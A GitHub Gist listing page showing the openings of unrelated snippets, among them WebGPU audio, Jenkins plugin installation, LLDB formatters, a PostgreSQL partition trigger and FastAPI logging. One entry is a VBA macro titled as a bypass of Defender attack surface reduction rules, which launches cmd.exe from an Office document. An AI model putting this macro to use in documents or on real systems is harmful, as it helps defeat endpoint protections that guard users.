Skip to content

Instantly share code, notes, and snippets.

@JolifantoBambla
JolifantoBambla / webgpu-audio.html
Last active April 25, 2024 21:01
Create audio data in WebGPU compute shaders
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WebGPU Audio</title>
</head>
<body>
<button type="button" id="play">Play</button>
<script type="module">
const code = `
@infosecn1nja
infosecn1nja / ASR Rules Bypass.vba
Last active April 25, 2024 21:00
ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub
@whittlec
whittlec / gist:6112643
Last active April 25, 2024 20:56
Install plugins to Jenkins via script console
for (plugin in ["ant",
"artifactdeployer",
"build-failure-analyzer",
"build-name-setter",
"build-pipeline-plugin",
"build-timeout",
"claim",
"clone-workspace-scm",
"cobertura",
"collapsing-console-sections",
@laytan
laytan / odin.py
Created April 25, 2024 17:40
LLDB script to visualise Odin slices, maps, and strings
import lldb
def is_slice_type(t, internal_dict):
return t.name.startswith("[]") or t.name.startswith("[dynamic]")
class SliceChildProvider:
def __init__(self, val, dict):
self.val = val
def num_children(self):
@chelseadole
chelseadole / duplicate_to_partitioned_table.sql
Created October 1, 2023 19:36
plpgsql function returning a trigger which duplicates INSERT/UPDATE/DELETE activity to a second partitioned table. Requires inputting correct table names & column values for use.
-- This function is designed to duplicate all live INSERTS/UPDATES/DELETES from one table (referred to as "source_table_name"
-- to a second partitioned table (referred to as "destination_table_name"). The function should be set to trigger after insert/
-- update/delete on the source table.
-- This function is designed to be leveraged for partitioned table migration through this method:
-- 1) Create an empty partitioned copy of the "source_table_name". Alter primary key as necessary, as partitioned Postgres
-- tables do not support unique/primary keys not included in the partition key.
-- 2) Create the following function, and attach it as a trigger to "source_table_name". At this point, incoming new DML is
-- being copied successfully to the partitioned table, so only historical data will need to be backfilled.
-- 3) Target rows in "source_table_name" with an updated_at value BEFORE the trigger was attached, and backfill them into
@jmackie
jmackie / reader.go
Last active April 25, 2024 20:51
Pass a single io.Reader to multiple goroutines
/*
Package fan is a little concurrent io experiment.
Example Use Case
----------------
You have a function that takes a single io.Reader as an argument. You would like
to pass that reader to several processing functions. You could just make the
function accept an io.ReadSeeker, invoke each function serially in a for loop,
seeking after each call. But that's not cool.
@liviaerxin
liviaerxin / README.md
Last active April 25, 2024 20:50
FastAPI and Uvicorn Logging #python #fastapi #uvicorn #logging

FastAPI and Uvicorn Logging

When running FastAPI app, all the logs in console are from Uvicorn and they do not have timestamp and other useful information. As Uvicorn applies python logging module, we can override Uvicorn logging formatter by applying a new logging configuration.

Meanwhile, it's able to unify the your endpoints logging with the Uvicorn logging by configuring all of them in the config file log_conf.yaml.

Before overriding:

uvicorn main:app --reload
@nymous
nymous / README.md
Last active April 25, 2024 20:50
Logging setup for FastAPI, Uvicorn and Structlog (with Datadog integration)

Logging setup for FastAPI

This logging setup configures Structlog to output pretty logs in development, and JSON log lines in production.

Then, you can use Structlog loggers or standard logging loggers, and they both will be processed by the Structlog pipeline (see the hello() endpoint for reference). That way any log generated by your dependencies will also be processed and enriched, even if they know nothing about Structlog!

Requests are assigned a correlation ID with the asgi-correlation-id middleware (either captured from incoming request or generated on the fly). All logs are linked to the correlation ID, and to the Datadog trace/span if instrumented. This data "global to the request" is stored in context vars, and automatically added to all logs produced during the request thanks to Structlog. You can add to these "global local variables" at any point in an endpoint with `structlog.contextvars.bind_contextvars(custom

@aal89
aal89 / 100kb.txt
Last active April 25, 2024 20:49
100kb in text
90008179737137449057850374296041230231448818231836430412891860501369559957934170566478171795337452573291424987820066966816786
11421932734664050282853577818350442368737025841021682351565157149258626742693172908157392514275953021340373789403811298198112
98078491418506031705393320777252539769380080434092015114759613380134199900073766190656627700475488778765198284763526475740644
27316250203873295755542616481830176762741844790191881961666387319684382599128392790817587468185935956109594742996822851456430
69484825595272003071580933663162309410919484264168162456415987660087356646694839288039098048397766765190012006438103559476605
88069969501403804546943579852833051109937002040256969349389081744254318024154760523379227341047257631357870025582656575655762
80287299653975203684260833623532172260301953877104948974634491969795223647429108528213960088039791160860481243853022341993839
24991718535415280310113584497118196223057217585054424117851185779066465713336737557959912721815816999403404005977799509009387
9410563589763257
@graninas
graninas / haskell_approaches_comparison_table.md
Last active April 25, 2024 20:49
Haskell Approaches Comparison Table

An Opinionated Comparison of Software Design Approaches in Haskell

| | Raw IO | Free Monads; Church Encoded Free Monads | Final Tagless / mtl | Effect Systems | ReaderT